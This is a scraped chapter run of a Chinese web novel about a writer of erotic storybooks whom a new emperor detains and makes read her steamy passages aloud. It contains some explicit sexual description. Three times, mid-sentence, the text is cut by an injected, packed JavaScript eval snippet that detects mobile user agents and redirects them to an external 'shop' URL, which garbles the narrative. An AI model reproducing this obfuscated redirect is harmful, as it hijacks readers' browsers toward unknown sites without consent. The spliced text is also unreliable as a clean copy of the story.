《新帝和话本先生的风流二三事》 1. 抓你的来了 窗边晨曦,桌上纸砚,乔禧就在这一片晴光大好中吃完了半盒糕点,将手上的碎屑拍干净后,她才心满意足地提笔着墨。 还未等落下一字,屋外突然有急促的脚步声传来,她不耐烦地抬眼,正好和推门而入的闲欢书坊老板齐梦生对上视线。 “阿禧,外面来了一群官兵说要抓你,你赶紧出去躲躲,走得越远越好,再晚就来不及了……” 乔禧骇然起身,道:“我老实本分地写话本赚钱,他们为什么抓我?” “唉哟先别管这么多了!”齐梦生连推带拽地将她往窗口拉,“你从这里出去,然后从后院翻墙跑,快走走走……” 乔禧还想再说点什么,屋外又是一阵嘈杂,其中还夹带着刀剑出鞘的铮然声响,听得人不禁胆寒。她这下再也顾不上其他,连忙跟齐梦生一前一后从窗口翻了出去。 “可是……他们凭……什么抓我?”跑路途中,乔禧忍不住问。 比起她那副气喘如牛的样子,年过半百的齐梦生竟显得轻松许多,他叹了口气,道:“上头那些人的心情,我们这些小老百姓哪能猜得到?八成是新官上任三把火,等烧过这阵就好了。” 说是新官上任,但乔禧也能听出来,这说的正是前些日子刚即位的新帝,传言他还是皇子时便恶名在外,残暴无情杀伐果断,眼里几乎容不得半点沙子。 但堂堂天子,不去查贪污腐败,反而来她们这种三流书坊作威作福,真不知道是安的什么心。 “好了,你踩着我上墙,出去找到安全的地方了就托人给我带个信,有什么事儿以后再说。” 说着,齐梦生就在墙根蹲下,乔禧犹豫着不敢踩,问:“那你怎么办?” “哎呀我顶多被抓过去批评教育几句,没什么大事,但你可是咱们闲欢书坊的顶梁柱,你绝对不能有事啊!” 就在他催促的间隙,那群官兵已经破门而入,要不了多久就会找到这里。乔禧于是不再犹豫,踩着齐梦生的肩膀攀上了墙头。 “那边的,快点下来!” 暴喝声猝然传来,乔禧被吓得一哆嗦,来不及坐稳就失去重心,直愣愣和大地来了个亲密接触。 疼啊…… 手脚感觉要摔散架了,但她还记得要赶快逃跑的事,于是强忍着剧痛撑起上半身。眼前还冒着金星,却有一只黑面白底的靴子忽而入目。 “统领,就是她!” 乔禧下意识抬头,玄色飞鱼服上绣着张牙舞爪的蟒纹,那人背对着明晃晃的天光,整张脸隐在一片暗色中,让乔禧看不清表情。 脚步声自四面八方而来,那群官兵身上的软甲制式让人陌生,恍惚间,有一道威严而清冷的男声在头顶响起—— “带走。” 朱墙琉璃瓦,长道宽如阔,即便已经被推搡着跪在地上,乔禧还是没想到,她竟然会被押进皇宫。 鎏金殿上的烛火终年不灭,象征着权力和地位的龙椅几乎要把她的眼睛晃瞎。那人将她带到后就一言不发离开,大门缓慢关闭,像是切断了所有生还的可能。 胆战心惊地环视过一圈后,乔禧就连忙把头低下了,普普通通地活了二十多年,她哪里见过这阵仗? “陛下到——” 尖而细的嗓音遥遥传来,像是在脑子里敲了记警钟,乔禧紧张得止不住发颤,身体一软便径直俯趴在了地上,正好朝着高位行了个大礼。 四下无声,唯有胸腔的心跳震耳欲聋,乔禧能明显感觉有一道视线落在她背上,带着冷漠和审视,让人不寒而栗。 半晌后,“啪嗒”的落地声在很近的地方传来,她下意识抬眼看,发现竟然是几本书,封面看着有些熟悉,像是……她写的话本。 在这时,龙椅上的男人忽然出声,他冰冷地道:“自己看看。” 声音虽年轻,却自带威严,乔禧知道,那是属于上位者的、不容置喙的命令。 她不敢抬头看对面那位的尊容,只是颤颤巍巍地伸手将那几本书拉近,借着透亮的烛光,“霸道太子爱上我”“冷面王爷的甜心小娇妻”“陛下为何独宠我”几列大字赫然入眼。 乔禧逃避似的闭了闭眼,怎么也不敢相信眼前看到的东西。 ……因为这些一本不差,全是她去年写过的话本。 像是知晓她已经看完,上面那位又淡然开口,问:“所犯何罪,你可明白?” 乔禧咽了咽唾沫,心想她好像不太明白。 她凭着本事一字一字写下这些话本,赚来的钱名正言顺,虽然内容是……呃离谱了点,但大家都喜欢看啊! 俗话说百姓看得懂的文字才是好文字,她没觉得自己写这些有什么不对。 一番思忖后,乔禧恭敬地跪伏在地上,小声说:“草民明白。” 管他是什么罪,先顺着他认下就对了,反正只是几个话本,总不至于让人掉脑袋。 “哼……明白?”皇帝声音戏谑,怒意非但没有平息,反而还有愈演愈烈的趋势,他咬牙切齿道,“女子有文采本是难得,你却不知珍惜,反而写出如此低俗不堪之物,真是暴殄天物,罔顾人伦!” 乔禧不可置信地瞪大眼睛,再也顾不上什么触怒龙容,抬起头来看着男人,高声道:“何为低俗,何又为不堪?陛下莫要血口喷人!” 宁珩冷笑一声,直视着她的眼睛,森然道:“朕血口喷人?” “那你说,‘游蛇戏珠,潜龙入海’是什么意思?” 乔禧霎时心头一跳,嘴上也如哑火的炮仗般蓦地没了声响。 因为她想起,这句正是《霸道太子爱上我》里,女官嫣娘和太子谢啸表明心意后,两人第一次翻云覆雨、同登极乐时的描写。 可是……她自认为已经写得足够隐晦,为何还能被这个看上去就不是她话本受众的皇帝发现? 乔禧眼珠子灵活地转了几圈,强装着镇定,不卑不亢地道:“回禀陛下,这写的是书中二人正在嬉戏玩耍,并无其他意思。” 反正她是作者,她说是嬉戏玩耍那就是嬉戏玩耍,具体是哪种嬉戏玩耍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341180|199334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这便不必再多说了。 “嬉戏玩耍……” 宁珩轻飘飘地睨了她一眼,吐出的字像是在嘴里碾过,吓得乔禧腿肚子直打颤。就在她以为对方还要深究时,男人却不紧不慢地转了话头,又问:“你再说‘拨花见露,踏泥寻径’又是何意?” 乔禧一口气松不下又提不起来,险些被呛晕过去。 《霸道太子爱上我》乃是她去年年中所写,飞快复苏的记忆告诉她:这一段是嫣娘和谢啸趁着宴上酒兴,在花园假山里胡天闹地的情节。 本以为这皇帝只是随手翻到了刚才那一段,却没想到他看得如此仔细,竟是连后面几话都追读了。 身为作者,乔禧一时竟不知是该高兴还是该悲痛。 她深吸一口气,硬着头皮道:“回陛下……这里,也是在嬉戏玩耍。” “哼!好一个嬉戏玩耍。”宁珩目光灼灼,眼神锐利如鹰隼,“那‘含情脉脉两相好,满面春风花枝缠’?” 伴着话音落下,气氛骤然降至冰点,乔禧再也装不住冷静,凭着求生本能连磕了好几个响头,哀声道:“陛下饶命,草民知罪,草民再也不敢了!” 在话本里,嫣娘自从与谢啸确定心意后,便一话比一话不正经,最后的新婚夜更是乔禧熬夜翻了一晚上绝密春/宫写成,宁珩既然能说出这句,那必定是将整本《霸道太子爱上我》都看完了。 如此,乔禧若还要装疯卖傻下去,人头落地的日子便真的不远了! 乔禧将求饶的话来回说了好几遍,额头在地面上撞得咚咚直响,她不曾了解过本朝有关不当书籍的律法,自然心里没底,只寄希望于这位新帝能念在她是初犯,给一次改过自新的机会。 不一会儿,新帝发话,乔禧还战战兢兢地跪伏着,等待自己的生死判决。 “来人,将犯人押入长华殿,朕要亲自审问……” ? 乔禧猛地抬头看去,只见龙椅前的男人一袭黄袍长身玉立,眉眼间带着天子威严,却无法掩盖那张脸的俊美无俦。 对视的刹那,宁珩对她勾起一抹浅而寻味的笑,话音未断地继续吐字:“……究竟何为嬉戏玩耍。” 乔禧脑瓜子一嗡,满心只剩下一个想法—— 他怎么还真要深究!!? 有干净利落的一声“遵命”从殿外传来,大门打开,来人依然是把她抓过来的那位。他毫不客气地擒住乔禧肩头,龙椅上却忽然传来一声刻意至极的咳嗽。 乔禧下意识循声望去,却见皇帝面色沉静、不怒自威地还站在原处,丝毫看不出刚才发出过声音的样子。 但擒住她肩膀的那人却迅速将手收回,转而客气地做出邀请的姿势,对她道:“姑娘,请吧。” 乔禧见鬼似的指了指自己,问:“我?” 男人极有耐心地点头,温声道:“正是你。” 乔禧实在很难将眼前人同之前抓她进来的那个联系到一起,于是只能下意识看向殿内,可龙椅华美如旧,上面却已空无一人了。 2. 你读给我听 “姑娘,里面请。” 乔禧还是不习惯这人堪比变脸的态度,诚惶诚恐地道了声谢,确定匾额上那三个龙飞凤舞的大字是“长华殿”后,才小心地踏进去。 室内无人,脚下地毯软得像是踏在云上,旁侧的桌案上整齐陈列着笔墨,博古架里尽是乔禧叫不出名字的奇珍异宝,屏风将内间隔开,恢弘的千里江山图正跃然于其上。 察觉身后有关门的动静,乔禧眼疾手快地转身扒住,鼓起勇气问:“大哥,请问这里是哪儿啊?” 男人披一身轻便的软甲,腰侧佩剑,面容清隽,看上去并不比乔禧大多少,但他似乎并不在意称呼,只温然笑道:“这里是陛下的寝殿。” “陛下怎么让我来他的……” 追问还没说完,对方已先一步关上门,独留乔禧对着紧闭的门缝跳脚。 很快,声音再度响起:“姑娘,你先在此处好生待着,陛下此时在议政,晚些便会回来。” 说完这句,他就步履匆匆地离开了,像是生怕她再多问一句。 人在陌生环境中总会不自觉变得敏锐,乔禧注意到他并未锁门,她或许可以趁现在逃走…… 可是皇宫这么大,又到处都是皇帝的人,就算逃又能去哪里呢? 这么想着,乔禧叹了口气,最终还是老老实实在外间跪下,毕竟作为犯人的自觉还是要有的。 地毯实在柔软,再加上殿内温度适宜,她跪着跪着就不自觉睡了过去。 再睁眼时,一室烛火明盛,周身无人,屏风后的内间却隐隐传来说话声。 “陛下,阿禧姑娘已经醒了。” 这声音有些陌生,乔禧迷迷糊糊地还未反应过来,就听见另一个慵懒而又散漫的调子响起—— “带进来。” 不过多时,屏风里走出一位太监打扮的男子,恭恭敬敬地请她进去。 乔禧一头雾水地迈进内间,却见白日里龙袍加身的皇帝此时只着中衣,正以一个十分放松的姿势半倚在床上看书,墨发披散,翻书的指尖在烛光映衬下近乎透明。 而更惹眼莫过于那半敞开的衣襟下,有线条流畅地起伏蔓延,锁骨盈润,结实的胸口暗藏着力量,深深浅浅的沟壑最终隐没于雪白中衣下,引人无限遐想。 乔禧只在春/宫册上见过这画面,现实中却实打实是头一回,她怔怔地盯着,都没注意到自己咽口水的声音有多大。 空气中蓦地响起一声轻笑,男人并未转头,却愉悦地问她:“看够了么?” 乔禧还魂似的连忙跪下,垂着头道:“看够了看够了。” 不等乔禧懊悔自己怎么如此老实,宁珩又将手里的书翻过一页,悠悠然道:“好看吗?” ……哪有被看光还追着人问观后感的? 乔禧羞赧得不敢抬头,只能缩着脑袋继续装鹌鹑,弱弱地回:“挺好看的。” 周身气息陡然一松,先前那股似有若无的压抑感散去,有微风从窗口灌入,烛火欢快地跳跃。不知是不是错觉,宁珩再开口时,语气里竟带上了点得意。 “白天朕说过,要审问你何为嬉戏玩耍……如此,你就把这些嬉戏玩耍的段落都读与朕听,让朕好好地分辨。” 他说得轻松,好像这就是吃饭睡觉那样的小事,唯有乔禧在原地石化,恍惚间竟以为自己听见的是什么异族语言。 摊开到某一页的书很快被送至眼前,白纸黑字,印刷清晰,正是刚才宁珩翻的那本。 乔禧自诩是个专业的话本先生,写出的亲密情节就算不能让读者身临其境,也绝对足够引人入胜。她满心想着写好这些片段,所以该有的细节都一分不少,但写出来是一回事,当着陌生男人的面读出来……就又是另一回事了。 她颤颤巍巍地将书接过,触感轻巧,入手却好像有千斤重。 房间内安静地落针可闻,烛芯发出轻微爆破声,像是无形的催促。 『谢啸看着温润如玉,那物却生得十分骇人,精神时几乎有嫣娘小臂粗……』 潦草地看过第一列后,乔禧飞快将书合拢,速度快得堪比灾民逃难。 她挪着膝盖朝床边更近了些,用近乎祈求的语气道:“陛下……” 话未毕就被打断,宁珩像是已经知道她要说什么,眉头轻挑,不急不慢地道:“只是嬉戏玩耍而已,并无其他意思,你既然能写出来,诵读对你来说更是小事一桩……” “如此犹豫,你莫非是不想为朕做事?” 男人尾音上扬,虽是问句,威胁的含义却更明显,听起来格外耐人寻味。 乔禧只能把牙咬碎吞进肚子里,恨恨道:“草民不敢。” 深吸一口气后,她开始将自己幻想成学堂里摇着脑袋空念句子的小孩,拖拖沓沓地对着话本读了起来。 得益于她高超的写话本功底,文中无论是细节还是气氛都描写得十分到位。有情人终于解开误会表明心意,花前月下情到浓时,你情我愿缠绵悱恻,但经过乔禧这番有气无力堪比丧夫似的朗读,听上去和悼词也没什么分别了。 这样念过几段后,乔禧竟逐渐接受了现状,除了念着有些犯困之外,最开始的羞耻感早已荡然无存。她原以为此行怎么也得蹲几年大牢才能出来,但如果惩罚就是这个的话,她再来个一年也不成问题。 “慢着。” 乔禧闻声闭嘴,下意识抬头看去,只见宁珩还安然地半坐在床上,薄唇轻启,徐徐道:“既然嫣娘已攀上顶峰,为何这声娇吟却如此平淡?重读。” 轻描淡写地说完这句,男人便继续闭目养神,乔禧手抖得险些把书摔出去,内心直道天要亡我啊。 像这种云雨之巅时情不自禁发出的声音,她要如何才能在这种场景下还原出来? 榻上的男人安坐如山,小太监恭顺地低着头侍奉在一边,火光温和明亮,映出一室祥和,却无人可窥见乔禧心中是怎样的悲怆绝望。 察觉她的迟疑,宁珩睁开眼,视线玩味,问:“不读?” 乔禧欲哭无泪地道:“读,我读。” 书上只写了个孤零零的“嗯”,乔禧却像是要把它盯出个洞来,她绷紧舌尖,狠下心来用力在大腿上拧了一把,一声满含着痛苦的闷哼声猝然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341181|199334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出口。 从未想过能从自己嘴里发出这种声音,乔禧虽心知并未真正发生什么,浑身却羞得通红,指尖不自觉把话本捏皱,满脸只有干脆一头撞死的生无可恋。 没有亲身经历过这种事,乔禧自然无从知晓这一声符不符合“登上极乐”,但宁珩并未说什么,她深吸一口气,便打算接着往下念。 刚要开口,旁边的小公公柔声对她道:“阿禧姑娘,陛下说不必再读了,奴才送您去休息吧。” 乔禧顿时如蒙大赦,感激地说了句“多谢陛下”,就忙不迭跟着小公公出去。走过屏风后,空气陡然流通起来,清新的气息涌入鼻腔,乔禧才感觉自己活了过来。 长华殿被笼在朦胧夜色之中,檐上时不时有清脆的鸣叫声传来,或许小鸟正在此处休憩。乔禧被带着行走于长廊之中,肩头的月光皎洁,叫人忍不住放松下来。 这个小公公看着面善,年纪也不大,应该是个好说话的主。这么想着,乔禧小心翼翼地说:“这位……呃官爷,敢问今晚我睡在何处?” “叫我林泉就好。”小公公并未回头,声音清润温和,听着十分舒心,“陛下亲自交代,要将阿禧姑娘安排在偏殿,前面不远就是了。” 惊心动魄了一天的疲惫感涌上来,乔禧也没空纠结为何皇帝要将她安排在隔壁,她有些讨好地干笑了几声,搓着手问:“林泉,你给我透个底,我大概什么时候能回去啊?” 殿门被缓缓推开,虽未点灯,借着月光也可见其中是如何的宽敞整洁。林泉扭头对她笑了笑,道:“阿禧姑娘先在这里安心歇下,若有需要唤一声便是,其他的,便不要多想了。” 一片暗色中看不清林泉的表情,乔禧只觉得这番话像是回答了,又像是没回答。 但她总归只是个普通的话本先生,和皇宫里的人一不沾亲二不带故,等这档子事过去,肯定就能回到原本的生活,如此,她也就不再多问。 很快有丫鬟进来点上灯,热腾腾的吃食也被送来,有荤有素有饭有汤,比乔禧平时吃得不知好上多少倍,若不是有今天的经历,她甚至疑心自己其实是来享乐度假的。 饿了大半天的胃得到极大满足,于是后半夜安然无梦,不知睡了多久,乔禧最终被一阵杂乱的脚步声吵醒。 正是凌晨,天色将明未明。她揉着惺忪睡眼踱去门口,恰好遇见一名丫鬟端着盆热水经过,她连忙拦下,问:“发生什么了?” 那丫鬟似乎并未惊讶于长华殿里怎么多了个陌生女子,反倒被这句话问得脸一红,像是羞于启齿似的,支支吾吾道:“陛下、陛下他……” 乔禧有些不耐烦,道:“陛下到底怎么了?” “诶呀!”那丫鬟皱着眉犹豫了半天,绯色几乎染到了脖子根,最后只破罐破摔地回,“这不好说,你还是自己去问陛下吧。” 说着,她就急匆匆跑走了,去的正是主殿方向,明明手上还端着水,却是健步如飞跟逃命似的。 乔禧想不出个所以然来,觉得反正这事也跟自己没什么关系,于是自顾自地打了个哈欠,嘟哝道:“算了,再睡会。” 3. 陛下他怎么了 回笼觉一直睡到了正午,乔禧在柔软而精美的大床上醒来,入目是绣花繁复的纱帐,空气中檀香阵阵,清而不淡,无一不在证明着此地并非她自己的住处。 昨日奇遇涌入脑海,乔禧心情复杂地揉了揉太阳穴,已然不知当下境况究竟是福是祸。 规律的敲门声响起,伴随而来的还有一个男声,道:“阿禧姑娘,该起来用膳了。” 乔禧连忙翻身下床,她认出这声音是林泉,可甫一开门,却是个圆脸杏眼的小丫鬟正好入眼。 “你就是阿禧?” 阿禧是乔禧写话本时的笔名,这么多年来从未改过,她本该大大方方承认,但小丫鬟语气里的期待意味太过明显,反而让她警惕起来。 “怎么,你有什么事么?” “你……你就是阿禧!”小丫鬟像是见到亲人般将她的双手握住,身体因为激动发着颤,“我是你的忠实读者,你写的话本我几乎都看过!” 乔禧还没反应过来,对方已经滔滔不绝地发表起了对某个话本以及见到她的感想,吐字之密集,使得她完全找不到插话的时机。 几次欲言又止后,还是林泉站出来解围,他道:“好了白昙,阿禧姑娘还未吃饭呢。” 他声音不大,语气也算平和,但就像有魔力一样,让小丫鬟立刻闭住了嘴。 “诶呀,瞧我这脑子!”白昙懊恼地一拍脑袋,“餐食都已备好,我先伺候您洗漱吧。” 收拾过后,各式各色的菜品也被端上了桌,胡椒醋鲜虾、蒜醋白血汤、五味蒸鸡,蒸鲜鱼……都是她平时几乎完全不会吃到的东西。 乔禧光是看着就忍不住咽口水,可睡醒后理智回笼,她不敢动筷,反而看向笑眯眯的林泉,揣揣不安地问:“这该不会是断头饭吧?” 林泉猝然失笑,温声道:“陛下吩咐了,不可怠慢阿禧姑娘,这些也都是御厨亲手所做,姑娘放心吃便是。” 相比林泉的稳重,一旁的白昙则欢脱许多,她连着摇了好几下头,说:“怎么会!陛下去早朝前亲口嘱咐了我们不要打扰你,还要我们把他的餐食原封不动地给你也准备一份,如此上心,又怎么可能是断头饭,我看是求偶饭还差不多!” “求偶饭?”乔禧下意识脱口喊出,差点被自己的口水呛到。 白昙点点头,有依有据地解释:“对啊,你在话本里不是写了吗?男子若对女子有情,就会千方百计地对她好,就和孔雀开屏似的。” 迎着乔禧震惊的目光,林泉依然保持着笑容,只是情绪不达眼底,道:“白昙,听说辛者库最近又缺人手了,你既然有空议论陛下的是非,不如去帮帮忙?” 白昙这才注意到自己说错了话,连忙缩回头装鹌鹑,赔着笑说:“啊!不了不了。” 乔禧擦了擦额头上并不存在的冷汗,感觉还是林泉更靠谱些,于是她将诚恳的视线转向他,又问:“可陛下昨天说我是犯人,今天又对我这么好,莫非陛下是想让我浪子回头,于是决定用好吃好喝来感化我?” 这话说出来后,连乔禧自己都觉得痴心妄想。世人皆传这位新帝情绪乖戾喜怒无常,又怎么会用如此温柔的方式处置犯人…… 像是看出了乔禧心中所想,林泉如沐春风地道:“放心吧,阿禧姑娘是犯人不错,但惩罚的方式却与其他罪犯不同……” “具体要如何做,阿禧姑娘昨夜也已经体会过了。” 乔禧突然有了不好的预感,道:“你的意思是……今晚我还要去给陛下念书?” 林泉不言,面上始终挂着得体的浅笑,却看得乔禧心里猝然一凉。 罢了,还是先吃饭吧…… 用饭的间隙,乔禧想起今日凌晨时的异动,于是问林泉:“你知道早上发生了什么吗,为何有好多人在外面跑来跑去?” 问题出口,林泉却没有像之前一样立即回答,乔禧好奇地抬头去看,见他轻咳了一声,面上竟出现几分为难和羞赧。 “今早……陛下身体有恙,便唤了下人去处理。事发突然,大家都有些手忙脚乱,无意扰了阿禧姑娘的清净,还望见谅。” 乔禧摆摆手,颇不在意地道:“无妨无妨,我也就醒了一会,不打紧。” 毕竟她如今是在这里白吃白住,又怎么好挑人家的不对,只是皇帝正好在今早有异,恰恰她昨晚又被迫给他读了话本里那种情节,联系起来总归让人觉得有些奇怪。 她很明事理地没有继续追问,但挨不住事情太过凑巧,很快就有人把内情送到了她面前。 用完饭不久后,一名着青灰色长袍,满身带着草药气息的男人造访了长华殿,白昙在她耳边悄声道:“这位是李太医。” 李太医拱手作揖后,便将手里的药包递给了林泉,说:“这些药有平心静气之功效,可缓解陛下的异样,还请林公公收好。” 林泉抬手接过,不卑不亢地道:“有劳李太医费心。” 药已送到,李太医本该就此离开,可他还站在原地,欲言又止好几次后才忍不住开口:“林公公,你是贴身照顾陛下之人,想必对陛下的症状有所知晓……” 迎着林泉略带询问的目光,李太医接着道:“其实梦/遗乃男子正常现象,陛下无需太过担忧,可俗话说宜疏不宜堵……” “臣也不敢妄议陛下,只是陛下若有这方面的需求,抒发出来便是,若能为皇室开枝散叶,也实为好事一桩。” 林泉吐字时本就轻,乔禧没能听到他的回应,便只能就此作罢。 皇帝今早的异样其实是梦/遗,如此,端水丫鬟和林泉的表现便都能说得通了……可这其中的原因,却容不得乔禧不多想。 日落薄暮至,宁珩踏着夜色回到长华殿,殿里大多数丫鬟都在这之后忙碌起来,不过多时,林泉便来到偏殿,说陛下让她过去。 走进正殿时,宁珩正坐在桌案前看奏折,依旧只着中衣,只是露出的小半截手臂上还泛着淡淡热气,发尾也有水珠淌下,在薄薄的衣料上晕开一小片透明,隐约可窥见白皙的肌肤。 再加上昨夜所见,很难让人不想到那其中是怎样的一片旖旎风景。 乔禧燥得脸红心慌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341182|199334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连忙在桌案前老实跪好,心想他怎么每天都不好好穿衣服。 “参见陛下。”她行了个跪拜礼,道。 “嗯。”对方的视线并未从奏折上移开,从喉头发出的声音短而轻,语气也是淡淡的,“林泉。” 一旁的林泉恭敬应了声“是”,然后又和昨天一样,把翻开的话本递到乔禧面前。 接过时她粗略一看,发现是嫣娘和谢啸第二次亲密的情景。嫣娘被政敌算计,不得已要离京赈灾,就在临行前夜,谢啸偷偷出宫,翻墙溜进了嫣娘的房间,同她一夜温存。 为了符合这分别的伤感氛围,这一话写得欲中带泪,用词并没有前面那么露骨,乔禧稍稍放下心来,不等吩咐,自己便读了起来—— 『残烛昏黄,人影寥寥,嫣娘含着泪将外衫折好放进箱子,起身时却猛地被人从后面抱住。谢啸心怀不舍,哑着嗓子轻轻唤她的名字……嫣娘。』 『……』 读着读着,乔禧慢慢沉入了故事之中,只觉得字字句句分外伤怀,好像自己就是这对即将分别的有情人。她不由得蹙眉,学着嫣娘情动不已却又满心酸楚的语气读道:“谢郎,吻吻我、求你吻我的唇……它想你……” 忽地传来“啪嗒”一声,乔禧顿时被唤回神思,来不及反应过来的脸上满是茫然,只见宁珩指尖空荡,声音源头正是掉落在地的奏折。 对视的刹那,似有尴尬气息在空气中悄然蔓延。 “咳咳……” 宁珩将空着的手顺势握成拳,抵在唇边轻咳了两声,旁边的林泉想要上前帮忙捡起来,却被他抬手制止了。 “今夜烛火有些刺眼,林泉,你去挑暗些。” 林泉脚步一顿,然后从善如流地走向烛台,乔禧特意眯着眼去瞧,发现今夜的亮度明明和昨晚没多大区别。 正思索时,宁珩忽地将目光落在她身上,眉眼间情绪莫辨,轻飘飘地道:“继续。” 乔禧只得收回视线,寻到方才的位置后,又接着读了下去。 『听到这声泫然欲泣的呼唤,谢啸再也无法忍耐,掐着嫣娘的腰将人带入榻里,深深地吻了下去。气息缠绵,唇齿相依,嫣娘被亲得喘息不止,恍惚间只觉得谢啸的身体烫得吓人……』 “够了!” 乔禧被喝得一惊,下意识闭上了嘴,再次不明所以地望向了桌案后的那人。 只见宁珩不知何时将奏折放下了,他单手支着额头,紧皱的双眉像是在忍耐什么。乔禧正犹豫着要不要问一句,宁珩就先开了口,语气生硬:“出去。” 乔禧似乎突然明白了什么,饶是遍阅春/宫的她现在也不免有些红脸,于是她讷讷地道过告退后,就赶紧退了出去。 万万没想到,雷厉风行的新帝竟是个纯情的主儿,只是听几句荤话反应便如此激烈,这位新帝,倒是她想象的还要青涩些。 偏殿离主殿还有些距离,但夜深人静,那边的响动乔禧也能听到些。 就在她离开约莫一炷香后,主殿便两次叫了水,林泉久久候于门外,直到了下半夜。 4. 你想当朕的妃子 事情发展到这个地步,早已和当初的惩罚背道而驰,乔禧本以为之后皇帝不会再召见她,只是酉时刚过,林泉便又不期而至了。 乔禧有些为难地挠了挠头,问:“陛下……他没事吧?” 林泉不动声色,只道:“陛下的心思,奴才也不好揣测,但奴才明白,要把该做的事做好,才能保自己周全。” 得,这就是在威胁她了。 既然皇帝觉得这样做没问题,那她也就破罐破摔地不再多管,循着相同的程序拿到话本后,她就轻车熟路地读了起来。 内容被她提前猜到,故而乔禧此时已是心静如水。在《霸道太子爱上我》里,嫣娘和谢啸荒唐后便两处相隔,路途中的某一夜,嫣娘因思念谢啸,便在房间里情不自禁起来,将要失控之际士兵打扮的谢啸推门而入,与她情到烈时一响贪欢。 又是一话艳情露骨的内容,她当初抱着赶销量的心态写下,遣词造句就格外没轻没重,乔禧读着读着没忍住轻轻叹了口气,只道当初真不该撒谎说这些都是在嬉戏玩耍。 思绪在神游天外,乔禧读得就越发漫不经心起来,她粗略扫过一眼后,没头没脑地复述:“嫣娘几乎要被这下弄得丢了魂儿,连忙喘着气求饶,谢郎!你慢些……” 才读到一半,手腕突然被一股大力攥住,乔禧吃痛地惊呼,抬头便看见宁珩不知何时已经探身到了她面前。 “陛……陛下。” 她惊魂未定地说着,目光触及男人的眼神时更是心下骇然。 只因为那双素来淡然无波的眸子里正翻涌着巨浪,其中夹杂着愠怒、探究,还有赤裸裸的情欲。 宁珩的半张脸隐在暗色中,烛火摇曳,映得他的表情阴晴不定,更让人难以捉摸他此时是何心思。 “你在勾引我。” 语气戏谑,不是问句,是肯定。 乔禧勉强找回理智,刚要反驳这都是你让我读的,便又听见宁珩说:“你知道朕近日身体的异样,再加上众朝臣都在劝朕尽快选妃,建立后宫,所以你就决定勾引朕,好当上朕的妃子是不是?” 大脑顿时宕机,乔禧迷茫地眨了眨眼,像是在用力消化这句话里的信息。 就在她愣神的功夫,宁珩却像是误会了什么,神色越发笃定。他手上微微使力,径直让乔禧越过大半个桌案跌进了他怀里。 宁珩话中含笑,语气似是揶揄,又含着显而易见的得意:“你想当朕的妃子不妨直说,朕又不是不愿意……” “只是朕这几天想了许久封号,都未想到合适的,册封礼也需要时间准备,现在只能委屈你先和朕住在一处了。” 乔禧目瞪口呆,只觉得自己好像知道了些不得了的事…… 她半晌没说话,室内陡然陷入静默,随着时间拉长,宁珩唇角弧度渐消,表情也慢慢冷了下来。 幸好有叩门声响起,打破这一室暧昧而尴尬的氛围。 “陛下,药已经煎好了。” 听声音是林泉,乔禧不禁松了口气,宁珩很是不悦地皱起眉,半晌后才冷硬地道:“端进来。” 趁着手腕上的桎梏有所松懈,乔禧连忙挣脱,然后脚下生风地逃离了现场。 不行……不能再这样下去了。 她一溜烟回到偏殿,惊魂未定地靠着门平复呼吸,心想不管这是惩罚还是别的什么,自己都不能继续装聋作哑地在这里呆着了。 她强迫自己早些休息,但事实却是睁眼到了天明。等乔禧顶着两个大黑眼圈起床时,白昙说:“长公主午后要来给陛下送东西,还打算顺便见见她。” 最初的兴奋平息下来后,白昙现在见到乔禧已经冷静了许多,但或许是性格使然,她看上去总是很活泼,语气轻快得像只雀儿。 可乔禧不明所以,问:“长公主为什么要见我?” 这个问题白昙说不出所以然,但当见到长公主本人时,乔禧便明白了。 远远便看见一个打扮精致的年轻女子跨进了正门,乔禧连忙起身迎接,走到半路却被个炮弹似的小孩撞了满怀。 “舅母!” 声音稚气未脱,听着约莫五六岁,身着褐色暗纹马褂,头发被高束于脑后,个头只堪堪到乔禧腰身,嘴上却一句比一句叫得亲热—— “舅母,我终于有舅母了!舅母你好漂亮,这是我送你的礼物。” 小孩手掌不大,两颗油纸包的糖果便占了个满,乔禧哭笑不得地接过,带着歉意对他说:“谢谢你的糖,不过我不是你舅母,我只是……” 我只是个莫名其妙被你舅舅带来长华殿的犯人,乔禧心里这么想着,却是没法说出来,只能嘿嘿傻笑了两声,不尴不尬地强行把这句话结尾了。 余光注意到有人走近,乔禧忙不迭站起身,学着丫鬟的样子行礼,道:“见过长公主。” “姑娘快些起来。”长公主温然笑着,伸手将她扶起,略带歉意地道,“听说阿珩殿里住进来一位姑娘,本宫当时高兴得昏了头,这才让阿愿误会了,还望姑娘不要多心。” 